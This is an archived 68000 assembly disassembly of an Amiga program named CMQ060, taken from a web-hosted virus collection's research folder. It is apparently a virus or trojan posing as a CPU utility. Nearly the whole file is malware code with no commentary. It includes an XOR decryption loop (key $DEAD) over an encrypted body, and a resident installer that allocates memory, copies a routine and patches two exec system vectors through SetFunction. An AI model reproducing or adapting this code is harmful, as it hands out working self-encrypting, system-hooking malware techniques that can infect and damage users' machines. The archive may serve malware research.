home *** CD-ROM | disk | FTP | other *** search
/ telefisk.org / virusCollection.lzx / VirusResearch / zakapior / CMQ060.asm < prev    next >
Encoding:
Assembly Source File  |  1999-07-14  |  12.0 KB  |  499 lines
  1. ; IRA V1.02  (Sep  6 1993)  (c)1993  Tim Ruehsen
  2.  
  3.  
  4. ABSEXECBASE    EQU    $4
  5. EXT_0001    EQU    $39290000
  6. EXT_0002    EQU    $FDE5DEA1
  7. EXT_0003    EQU    $FFFFBCDE
  8. EXT_0004    EQU    $FFFFFD8A
  9. EXT_0005    EQU    $FFFFFD90
  10.  
  11.  
  12.  
  13.  
  14.     SECTION S_0,CODE
  15.  
  16. SECSTRT_0:
  17.     MOVEM.L    D0-D7/A0-A6,-(A7)    ;000: 48E7FFFE
  18.     MOVEA.L    (ABSEXECBASE).W,A6    ;004: 2C780004
  19.     LEA    LAB_0001(PC),A0        ;008: 41FA0014
  20.     LEA    LAB_0002+2(PC),A1    ;00C: 43FA0208
  21.     MOVE    #$DEAD,D0        ;010: 303CDEAD
  22. LAB_0000:
  23.     EOR    D0,(A0)+        ;014: B158
  24.     CMPA.L    A0,A1            ;016: B3C8
  25.     BNE.S    LAB_0000        ;018: 66FA
  26.     JSR    -636(A6)        ;01A: 4EAEFD84
  27. LAB_0001:
  28.     EOR.L    D7,-(A1)        ;01E: BFA1
  29.     CMPA    D2,A5            ;020: BAC2
  30.     DC.W    $AD83            ;022
  31.     CMPA    D4,A1            ;024: B2C4
  32.     CMPA    (A7)+,A6        ;026: BCDF
  33.     CMPA.L    (A7)+,A7        ;028: BFDF
  34.     DC.W    $A7AD            ;02A
  35.     DC.W    $FCF2            ;02C
  36.     DC.W    $AE88            ;02E
  37.     SUB.B    D3,D0            ;030: 9003
  38.     DC.W    $2375            ;032
  39.     DC.W    $F2AD            ;034
  40.     DC.W    $B9E9            ;036
  41.     SUB    D7,(A7)            ;038: 9F57
  42.     DC.W    $DF71            ;03A
  43.     DC.W    $FE2B            ;03C
  44.     DC.W    $F691            ;03E
  45.     DC.W    $DEAD            ;040
  46.     DC.W    $DF3B            ;042
  47.     DC.W    $ACAD            ;044
  48.     DC.W    $FEA9            ;046
  49.     SUB.B    D3,D0            ;048: 9003
  50.     DC.W    $23F9            ;04A
  51.     DC.W    $F4AD            ;04C
  52.     CMPM.L    (A3)+,(A4)+        ;04E: B98B
  53.     DC.W    $FCED            ;050
  54.     SUB    D7,(A7)            ;052: 9F57
  55.     ADD.L    (A5)+,D7        ;054: DE9D
  56.     DC.W    $FEA9            ;056
  57.     SUB.B    D3,D0            ;058: 9003
  58.     DC.W    $233D            ;05A
  59.     MOVE.B    -(A3),-(A1)        ;05C: 1323
  60.     SUB    D7,(A7)            ;05E: 9F57
  61.     ADDX.B    D1,D7            ;060: DF01
  62.     SUB    D6,(A7)            ;062: 9D57
  63.     ADD.B    D7,EXT_0002        ;064: DF39FDE5DEA1
  64.     DC.W    $FCA4            ;06A
  65.     DC.W    $FDE8            ;06C
  66.     DC.W    $DEA9            ;06E
  67.     SUB.B    D3,D0            ;070: 9003
  68.     MOVE.L    -(A3),(A0)        ;072: 20A3
  69.     MOVE.B    -(A3),-(A1)        ;074: 1323
  70.     DC.W    $FCEB            ;076
  71.     SUB.B    D3,D0            ;078: 9003
  72.     MOVE.L    A7,(A0)+        ;07A: 20CF
  73.     DC.W    $9272            ;07C
  74.     DC.W    $A152            ;07E
  75.     DC.W    $BEAD            ;080
  76.     DC.W    $DF35            ;082
  77.     DC.W    $F2D5            ;084
  78.     DC.W    $DEA9            ;086
  79.     DC.W    $AEA9            ;088
  80.     SUB    D6,(A7)            ;08A: 9D57
  81.     DC.W    $DE3F            ;08C
  82.     SUB.B    D3,D0            ;08E: 9003
  83.     DC.W    $2375            ;090
  84.     SUB.B    -17959(A5),D2        ;092: 942DB9D9
  85.     DC.W    $A652            ;096
  86.     DC.W    $F4ED            ;098
  87.     DC.W    $AEAF            ;09A
  88.     DC.W    $ACAC            ;09C
  89.     DC.W    $AAAD            ;09E
  90.     DC.W    $15E3            ;0A0
  91.     SUB.B    D3,D0            ;0A2: 9003
  92.     DC.W    $214F            ;0A4
  93.     DC.W    $6E29            ;0A6
  94.     DC.W    $B9F5            ;0A8
  95.     DC.W    $F2AD            ;0AA
  96.     DC.W    $FC91            ;0AC
  97.     ADD.L    8530(A5),D7        ;0AE: DEAD2152
  98.     DC.W    $FA91            ;0B2
  99.     DC.W    $DEAD            ;0B4
  100.     ADD.B    -24745(A5),D7        ;0B6: DE2D9F57
  101.     ADD.B    -22363(A7),D7        ;0BA: DE2FA8A5
  102.     SUB.B    D3,D0            ;0BE: 9003
  103.     MOVE.L    A3,-(A0)        ;0C0: 210B
  104.     SUB    D7,(A7)            ;0C2: 9F57
  105.     ADDA    D1,A7            ;0C4: DEC1
  106.     DC.W    $FEAB            ;0C6
  107.     DC.W    $ACBD            ;0C8
  108.     SUB.B    D3,D0            ;0CA: 9003
  109.     DC.W    $2167            ;0CC
  110.     DC.W    $6E29            ;0CE
  111.     EOR.L    D4,D7            ;0D0: B987
  112.     SUB    D4,(A7)            ;0D2: 9957
  113.     ADDA    (A5)+,A7        ;0D4: DEDD
  114.     DC.W    $FEA6            ;0D6
  115.     DC.W    $94B6            ;0D8
  116.     CMP    (A1),D4            ;0DA: B851
  117.     DC.W    $F8A6            ;0DC
  118.     NBCD    -29394(A5)        ;0DE: 482D8D2E
  119.     DC.W    $B9BD            ;0E2
  120.     DC.W    $FEED            ;0E4
  121.     DC.W    $AAAD            ;0E6
  122.     DC.W    $FEAB            ;0E8
  123.     DC.W    $FCAE            ;0EA
  124.     SUB.B    D3,D0            ;0EC: 9003
  125.     MOVE.L    (A3),-(A0)        ;0EE: 2113
  126.     DC.W    $682D            ;0F0
  127.     CMPM    (A7)+,(A4)+        ;0F2: B94F
  128.     DC.W    $FEAB            ;0F4
  129.     DC.W    $ACAF            ;0F6
  130.     SUB.B    D3,D0            ;0F8: 9003
  131.     MOVE.L    D1,-(A0)        ;0FA: 2101
  132.     DC.W    $FEAB            ;0FC
  133.     SUB.B    D3,D0            ;0FE: 9003
  134.     MOVE.L    -(A5),-(A0)        ;100: 2125
  135.     DC.W    $15E3            ;102
  136.     DC.W    $FCE0            ;104
  137.     SUB.B    D3,D0            ;106: 9003
  138.     MOVE.L    A7,(A0)+        ;108: 20CF
  139.     SUB    D7,(A7)            ;10A: 9F57
  140.     ADD.L    D7,-(A7)        ;10C: DFA7
  141.     DC.W    $F2FD            ;10E
  142.     DC.W    $FC91            ;110
  143.     DC.W    $DEAD            ;112
  144.     ADD.B    D2,(A5)            ;114: D515
  145.     SUB.B    D3,D0            ;116: 9003
  146.     DC.W    $2197            ;118
  147.     DC.W    $BEAD            ;11A
  148.     MOVE.L    D5,(EXT_0003).W        ;11C: 21C5BCDE
  149.     CMPA    (A6)+,A5        ;120: BADE
  150.     CMPA.L    A6,A0            ;122: B1CE
  151.     CMPA.L    A0,A2            ;124: B5C8
  152.     DC.W    $AA83            ;126
  153.     CMPA    D4,A1            ;128: B2C4
  154.     CMPA    (A7)+,A6        ;12A: BCDF
  155.     CMPA.L    (A7)+,A7        ;12C: BFDF
  156.     DC.W    $A7AD            ;12E
  157.     AND.L    -8524(A7),D7        ;130: CEAFDEB4
  158.     MOVE.B    -(A2),-(A6)        ;134: 1D22
  159.     DC.W    $E6EB            ;136
  160.     DC.W    $DEAD            ;138
  161.     DC.W    $DEAD            ;13A
  162.     ADD.L    -8532(A5),D7        ;13C: DEADDEAC
  163.     DC.W    $DEAD            ;140
  164.     DC.W    $DEB3            ;142
  165.     SUBA    -27934(A0),A3        ;144: 96E892E2
  166.     ADD.L    -27668(A5),D2        ;148: D4AD93EC
  167.     SUBA.L    -(A1),A3        ;14C: 97E1
  168.     DC.W    $FEEB            ;14E
  169.     DIVU    -(A2),D6        ;150: 8CE2
  170.     SUB.L    D1,(A7)            ;152: 9397
  171.     DC.W    $FE91            ;154
  172.     OR.L    (A3),D3            ;156: 8693
  173.     ADD.L    -29458(A5),D2        ;158: D4AD8CEE
  174.     DC.W    $8EF9            ;15C
  175.     DC.W    $FEF9            ;15E
  176.     SUB.L    D0,(A7)            ;160: 9197
  177.     DC.W    $FE91            ;162
  178.     DC.W    $AEDF            ;164
  179.     CMPA.L    (A6)+,A5        ;166: BBDE
  180.     CMPA.L    A1,A3            ;168: B7C9
  181.     CMPA.L    D3,A5            ;16A: BBC3
  182.     DC.W    $AAED            ;16C
  183.     CMPA.L    D0,A7            ;16E: BFC0
  184.     CMPA.L    A2,A3            ;170: B7CA
  185.     EOR.L    D7,D3            ;172: BF83
  186.     CMPA.L    D2,A6            ;174: BDC2
  187.     EOR.L    D1,(A3)            ;176: B393
  188.     ADD.L    -25876(A5),D2        ;178: D4AD9AEC
  189.     DC.W    $8AEC            ;17C
  190.     DC.W    $D4AD            ;17E
  191.     SUBA    (A7)+,A4        ;180: 98DF
  192.     CMPA.L    D0,A0            ;182: B1C0
  193.     LSR.L    #2,D5            ;184: E48D
  194.     SUBA.L    D0,A7            ;186: 9FC0
  195.     CMPA.L    A2,A3            ;188: B7CA
  196.     CMPM.L    (A5)+,(A7)+        ;18A: BF8D
  197.     SUBA    D2,A1            ;18C: 92C2
  198.     DC.W    $A8C8            ;18E
  199.     DC.W    $AC8D            ;190
  200.     ROXR.L    #1,D3            ;192: E293
  201.     ADD.L    -29224(A5),D2        ;194: D4AD8DD8
  202.     CMPA    D7,A6            ;198: BCC7
  203.     CMPA.L    A6,A5            ;19A: BBCE
  204.     DC.W    $AA97            ;19C
  205.     DC.W    $FEEB            ;19E
  206.     SUBA.L    -(A1),A3        ;1A0: 97E1
  207.     DIVU    -(A5),D5        ;1A2: 8AE5
  208.     DC.W    $878D            ;1A4
  209.     DC.W    $9DF8            ;1A6
  210.     DC.W    $90F9            ;1A8
  211.     DC.W    $FFA7            ;1AA
  212.     ADD.L    -26376(A5),D2        ;1AC: D4AD98F8
  213.     SUBA.L    -(A6),A6        ;1B0: 9DE6
  214.     DC.W    $FEF8            ;1B2
  215.     DC.W    $FEE3            ;1B4
  216.     DC.W    $9FF7            ;1B6
  217.     SUBX.L    -(A5),-(A3)        ;1B8: 978D
  218.     DC.W    $9DF8            ;1BA
  219.     DC.W    $90F9            ;1BC
  220.     DC.W    $FE80            ;1BE
  221.     DC.W    $FEE9            ;1C0
  222.     SUBA.L    -276(A0),A3        ;1C2: 97E8FEEC
  223.     DC.W    $90E9            ;1C6
  224.     DC.W    $FEEF            ;1C8
  225.     DC.W    $8BFF            ;1CA
  226.     SUB.L    A5,D0            ;1CC: 908D
  227.     SUBA.L    -(A3),A3        ;1CE: 97E3
  228.     DC.W    $FEE5            ;1D0
  229.     SUBA.L    -(A1),A5        ;1D2: 9BE1
  230.     SUB.L    A5,D1            ;1D4: 928D
  231.     SUBA.L    -(A0),A7        ;1D6: 9FE0
  232.     DC.W    $97EA            ;1D8
  233.     SUBX.L    -(A5),-(A7)        ;1DA: 9F8D
  234.     SUBA.L    -(A4),A2        ;1DC: 95E4
  235.     SUBA    -(A1),A1        ;1DE: 92E1
  236.     SUBA.L    -(A3),A3        ;1E0: 97E3
  237.     SUBX.L    -(A5),-(A4)        ;1E2: 998D
  238.     DIVS    -(A5),D4        ;1E4: 89E5
  239.     DC.W    $91FF            ;1E6
  240.     SUBX.L    -(A4),-(A5)        ;1E8: 9B8C
  241.     DC.W    $D4AD            ;1EA
  242.     ADD.L    -(A7),D2        ;1EC: D4A7
  243.     DC.W    $F0A7            ;1EE
  244.     ADDA    #$8BE4,A7        ;1F0: DEFC8BE4
  245.     OR.L    -(A7),D5        ;1F4: 8AA7
  246.     DC.W    $DEAD            ;1F6
  247.     ADDQ.L    #7,-8890(A5)        ;1F8: 5EADDD46
  248.     DC.W    $DEAD            ;1FC
  249.     DC.W    $DEAD            ;1FE
  250.     DC.W    $5EAD            ;200
  251.     ADD    D6,(A1)+        ;202: DD59
  252.     DC.W    $DEAD            ;204
  253.     DC.W    $DEAD            ;206
  254.     DC.W    $DEAD            ;208
  255.     ADD.L    -23348(A5),D7        ;20A: DEADA4CC
  256.     CMPA.L    A4,A2            ;20E: B5CC
  257.     DC.W    $AEC4            ;210
  258.     CMPA.L    (A7)+,A0        ;212: B1DF
  259. LAB_0002:
  260.     ADD.L    0(A5),D7        ;214: DEAD0000
  261.     DC.W    $0000            ;218
  262.     MOVEA.L    (ABSEXECBASE).W,A6    ;21A: 2C780004
  263.     BTST    #3,297(A6)        ;21E: 082E00030129
  264.     BNE.S    LAB_0004        ;224: 6604
  265. LAB_0003:
  266.     MOVEQ    #20,D0            ;226: 7014
  267.     RTS                ;228: 4E75
  268. LAB_0004:
  269.     MOVE.L    #$000001A3,D0        ;22A: 203C000001A3
  270.     MOVEQ    #1,D1            ;230: 7201
  271.     JSR    -198(A6)        ;232: 4EAEFF3A
  272.     MOVE.L    D0,D6            ;236: 2C00
  273.     BEQ.S    LAB_0003        ;238: 67EC
  274.     ADDI    #$000F,D6        ;23A: 0646000F
  275.     ANDI.B    #$F0,D6            ;23E: 020600F0
  276.     LEA    LAB_0005(PC),A0        ;242: 41FA004C
  277.     MOVEA.L    D6,A1            ;246: 2246
  278.     MOVE.L    #$00000194,D0        ;248: 203C00000194
  279.     BSR    LAB_0014        ;24E: 61000128
  280.     MOVEA.L    A6,A1            ;252: 224E
  281.     LEA    (EXT_0005).W,A0        ;254: 41F8FD90
  282.     MOVE.L    D6,D0            ;258: 2006
  283.     JSR    -420(A6)        ;25A: 4EAEFE5C
  284.     MOVEA.L    A6,A1            ;25E: 224E
  285.     LEA    (EXT_0004).W,A0        ;260: 41F8FD8A
  286.     MOVE.L    D6,D0            ;264: 2006
  287.     ADDI.L    #$000000E8,D0        ;266: 0680000000E8
  288.     JSR    -420(A6)        ;26C: 4EAEFE5C
  289.     MOVEQ    #0,D0            ;270: 7000
  290.     RTS                ;272: 4E75
  291.     MOVEA.L    (A6),A2            ;274: 2456
  292.     DC.W    $4552            ;276
  293.     MOVE    -(A0),D5        ;278: 3A20
  294.     DC.W    $434D            ;27A
  295.     DC.W    $5130            ;27C
  296.     DC.W    $3630            ;27E
  297.     DC.W    $2031            ;280
  298.     MOVE.L    40(A5,D2.W),D7        ;282: 2E352028
  299.     DC.W    $3130            ;286
  300.     DC.W    $2E37            ;288
  301.     MOVE.L    EXT_0001,D7        ;28A: 2E3939290000
  302. LAB_0005:
  303.     TST.L    D0            ;290: 4A80
  304.     BEQ.S    LAB_000D        ;292: 674C
  305.     MOVE    A1,D1            ;294: 3209
  306.     BTST    #0,D1            ;296: 08010000
  307.     BEQ.S    LAB_0006        ;29A: 6708
  308.     MOVE.B    (A0)+,(A1)+        ;29C: 12D8
  309.     SUBQ.L    #1,D0            ;29E: 5380
  310.     BEQ.S    LAB_000D        ;2A0: 673E
  311.     MOVE    A1,D1            ;2A2: 3209
  312. LAB_0006:
  313.     BTST    #1,D1            ;2A4: 08010001
  314.     BEQ.S    LAB_0008        ;2A8: 6712
  315.     CMPI.L    #$00000001,D0        ;2AA: 0C8000000001
  316.     BNE.S    LAB_0007        ;2B0: 6604
  317.     MOVE.B    (A0)+,(A1)+        ;2B2: 12D8
  318.     RTS                ;2B4: 4E75
  319. LAB_0007:
  320.     MOVE    (A0)+,(A1)+        ;2B6: 32D8
  321.     SUBQ.L    #2,D0            ;2B8: 5580
  322.     BEQ.S    LAB_000D        ;2BA: 6724
  323. LAB_0008:
  324.     CMPI.L    #$00000810,D0        ;2BC: 0C8000000810
  325.     BCC.S    LAB_000E        ;2C2: 641E
  326. LAB_0009:
  327.     MOVE.L    D0,D1            ;2C4: 2200
  328.     LSR    #2,D1            ;2C6: E449
  329.     BEQ.S    LAB_000B        ;2C8: 6706
  330. LAB_000A:
  331.     MOVE.L    (A0)+,(A1)+        ;2CA: 22D8
  332.     SUBQ    #1,D1            ;2CC: 5341
  333.     BNE.S    LAB_000A        ;2CE: 66FA
  334. LAB_000B:
  335.     BTST    #1,D0            ;2D0: 08000001
  336.     BEQ.S    LAB_000C        ;2D4: 6702
  337.     MOVE    (A0)+,(A1)+        ;2D6: 32D8
  338. LAB_000C:
  339.     BTST    #0,D0            ;2D8: 08000000
  340.     BEQ.S    LAB_000D        ;2DC: 6702
  341.     MOVE.B    (A0)+,(A1)+        ;2DE: 12D8
  342. LAB_000D:
  343.     RTS                ;2E0: 4E75
  344. LAB_000E:
  345.     CMPA.L    #$01000000,A0        ;2E2: B1FC01000000
  346.     BCS.S    LAB_0012        ;2E8: 655A
  347.     CMPA.L    #$01000000,A1        ;2EA: B3FC01000000
  348.     BCS.S    LAB_0012        ;2F0: 6552
  349.     MOVE    A1,D1            ;2F2: 3209
  350.     BTST    #2,D1            ;2F4: 08010002
  351.     BEQ.S    LAB_000F        ;2F8: 6706
  352.     SUBQ.L    #4,D0            ;2FA: 5980
  353.     MOVE.L    (A0)+,(A1)+        ;2FC: 22D8
  354.     MOVE    A1,D1            ;2FE: 3209
  355. LAB_000F:
  356.     BTST    #3,D1            ;300: 08010003
  357.     BEQ.S    LAB_0010        ;304: 6706
  358.     SUBQ.L    #8,D0            ;306: 5180
  359.     MOVE.L    (A0)+,(A1)+        ;308: 22D8
  360.     MOVE.L    (A0)+,(A1)+        ;30A: 22D8
  361. LAB_0010:
  362.     MOVE    A0,D1            ;30C: 3208
  363.     ANDI.B    #$0F,D1            ;30E: 0201000F
  364.     BNE.S    LAB_0012        ;312: 6630
  365.     MOVE.L    D0,D1            ;314: 2200
  366.     LSR.L    #7,D1            ;316: EE89
  367. LAB_0011:
  368.     DC.W    $F620            ;318
  369.     SUB.B    D0,D0            ;31A: 9000
  370.     DC.W    $F620            ;31C
  371.     SUB.B    D0,D0            ;31E: 9000
  372.     DC.W    $F620            ;320
  373.     SUB.B    D0,D0            ;322: 9000
  374.     DC.W    $F620            ;324
  375.     SUB.B    D0,D0            ;326: 9000
  376.     DC.W    $F620            ;328
  377.     SUB.B    D0,D0            ;32A: 9000
  378.     DC.W    $F620            ;32C
  379.     SUB.B    D0,D0            ;32E: 9000
  380.     DC.W    $F620            ;330
  381.     SUB.B    D0,D0            ;332: 9000
  382.     DC.W    $F620            ;334
  383.     SUB.B    D0,D0            ;336: 9000
  384.     SUBQ.L    #1,D1            ;338: 5381
  385.     BNE.S    LAB_0011        ;33A: 66DC
  386.     AND    #$007F,D0        ;33C: C07C007F
  387.     BNE.S    LAB_0009        ;340: 6682
  388.     RTS                ;342: 4E75
  389. LAB_0012:
  390.     MOVE.L    D0,D1            ;344: 2200
  391.     LSR.L    #6,D1            ;346: EC89
  392. LAB_0013:
  393.     MOVE.L    (A0)+,(A1)+        ;348: 22D8
  394.     MOVE.L    (A0)+,(A1)+        ;34A: 22D8
  395.     MOVE.L    (A0)+,(A1)+        ;34C: 22D8
  396.     MOVE.L    (A0)+,(A1)+        ;34E: 22D8
  397.     MOVE.L    (A0)+,(A1)+        ;350: 22D8
  398.     MOVE.L    (A0)+,(A1)+        ;352: 22D8
  399.     MOVE.L    (A0)+,(A1)+        ;354: 22D8
  400.     MOVE.L    (A0)+,(A1)+        ;356: 22D8
  401.     MOVE.L    (A0)+,(A1)+        ;358: 22D8
  402.     MOVE.L    (A0)+,(A1)+        ;35A: 22D8
  403.     MOVE.L    (A0)+,(A1)+        ;35C: 22D8
  404.     MOVE.L    (A0)+,(A1)+        ;35E: 22D8
  405.     MOVE.L    (A0)+,(A1)+        ;360: 22D8
  406.     MOVE.L    (A0)+,(A1)+        ;362: 22D8
  407.     MOVE.L    (A0)+,(A1)+        ;364: 22D8
  408.     MOVE.L    (A0)+,(A1)+        ;366: 22D8
  409.     SUBQ.L    #1,D1            ;368: 5381
  410.     BNE.S    LAB_0013        ;36A: 66DC
  411.     AND    #$003F,D0        ;36C: C07C003F
  412.     BNE    LAB_0009        ;370: 6600FF52
  413.     RTS                ;374: 4E75
  414.     NOP                ;376: 4E71
  415. LAB_0014:
  416.     LSR.L    #2,D0            ;378: E488
  417.     CMPI.L    #$00000204,D0        ;37A: 0C8000000204
  418.     BCC.S    LAB_0017        ;380: 640C
  419.     TST    D0            ;382: 4A40
  420.     BEQ.S    LAB_0016        ;384: 6706
  421. LAB_0015:
  422.     MOVE.L    (A0)+,(A1)+        ;386: 22D8
  423.     SUBQ    #1,D0            ;388: 5340
  424.     BNE.S    LAB_0015        ;38A: 66FA
  425. LAB_0016:
  426.     RTS                ;38C: 4E75
  427. LAB_0017:
  428.     CMPA.L    #$01000000,A0        ;38E: B1FC01000000
  429.     BCS.S    LAB_001B        ;394: 655A
  430.     CMPA.L    #$01000000,A1        ;396: B3FC01000000
  431.     BCS.S    LAB_001B        ;39C: 6552
  432.     MOVE    A1,D1            ;39E: 3209
  433.     BTST    #2,D1            ;3A0: 08010002
  434.     BEQ.S    LAB_0018        ;3A4: 6706
  435.     SUBQ.L    #1,D0            ;3A6: 5380
  436.     MOVE.L    (A0)+,(A1)+        ;3A8: 22D8
  437.     MOVE    A1,D1            ;3AA: 3209
  438. LAB_0018:
  439.     BTST    #3,D1            ;3AC: 08010003
  440.     BEQ.S    LAB_0019        ;3B0: 6706
  441.     SUBQ.L    #2,D0            ;3B2: 5580
  442.     MOVE.L    (A0)+,(A1)+        ;3B4: 22D8
  443.     MOVE.L    (A0)+,(A1)+        ;3B6: 22D8
  444. LAB_0019:
  445.     MOVE    A0,D1            ;3B8: 3208
  446.     ANDI.B    #$0F,D1            ;3BA: 0201000F
  447.     BNE.S    LAB_001B        ;3BE: 6630
  448.     MOVE.L    D0,D1            ;3C0: 2200
  449.     LSR.L    #5,D1            ;3C2: EA89
  450. LAB_001A:
  451.     DC.W    $F620            ;3C4
  452.     SUB.B    D0,D0            ;3C6: 9000
  453.     DC.W    $F620            ;3C8
  454.     SUB.B    D0,D0            ;3CA: 9000
  455.     DC.W    $F620            ;3CC
  456.     SUB.B    D0,D0            ;3CE: 9000
  457.     DC.W    $F620            ;3D0
  458.     SUB.B    D0,D0            ;3D2: 9000
  459.     DC.W    $F620            ;3D4
  460.     SUB.B    D0,D0            ;3D6: 9000
  461.     DC.W    $F620            ;3D8
  462.     SUB.B    D0,D0            ;3DA: 9000
  463.     DC.W    $F620            ;3DC
  464.     SUB.B    D0,D0            ;3DE: 9000
  465.     DC.W    $F620            ;3E0
  466.     SUB.B    D0,D0            ;3E2: 9000
  467.     SUBQ.L    #1,D1            ;3E4: 5381
  468.     BNE.S    LAB_001A        ;3E6: 66DC
  469.     AND    #$001F,D0        ;3E8: C07C001F
  470.     BNE.S    LAB_0015        ;3EC: 6698
  471.     RTS                ;3EE: 4E75
  472. LAB_001B:
  473.     MOVE.L    D0,D1            ;3F0: 2200
  474.     LSR.L    #4,D1            ;3F2: E889
  475. LAB_001C:
  476.     MOVE.L    (A0)+,(A1)+        ;3F4: 22D8
  477.     MOVE.L    (A0)+,(A1)+        ;3F6: 22D8
  478.     MOVE.L    (A0)+,(A1)+        ;3F8: 22D8
  479.     MOVE.L    (A0)+,(A1)+        ;3FA: 22D8
  480.     MOVE.L    (A0)+,(A1)+        ;3FC: 22D8
  481.     MOVE.L    (A0)+,(A1)+        ;3FE: 22D8
  482.     MOVE.L    (A0)+,(A1)+        ;400: 22D8
  483.     MOVE.L    (A0)+,(A1)+        ;402: 22D8
  484.     MOVE.L    (A0)+,(A1)+        ;404: 22D8
  485.     MOVE.L    (A0)+,(A1)+        ;406: 22D8
  486.     MOVE.L    (A0)+,(A1)+        ;408: 22D8
  487.     MOVE.L    (A0)+,(A1)+        ;40A: 22D8
  488.     MOVE.L    (A0)+,(A1)+        ;40C: 22D8
  489.     MOVE.L    (A0)+,(A1)+        ;40E: 22D8
  490.     MOVE.L    (A0)+,(A1)+        ;410: 22D8
  491.     MOVE.L    (A0)+,(A1)+        ;412: 22D8
  492.     SUBQ.L    #1,D1            ;414: 5381
  493.     BNE.S    LAB_001C        ;416: 66DC
  494.     AND    #$000F,D0        ;418: C07C000F
  495.     BNE    LAB_0015        ;41C: 6600FF68
  496.     RTS                ;420: 4E75
  497.     NOP                ;422: 4E71
  498.     END
  499.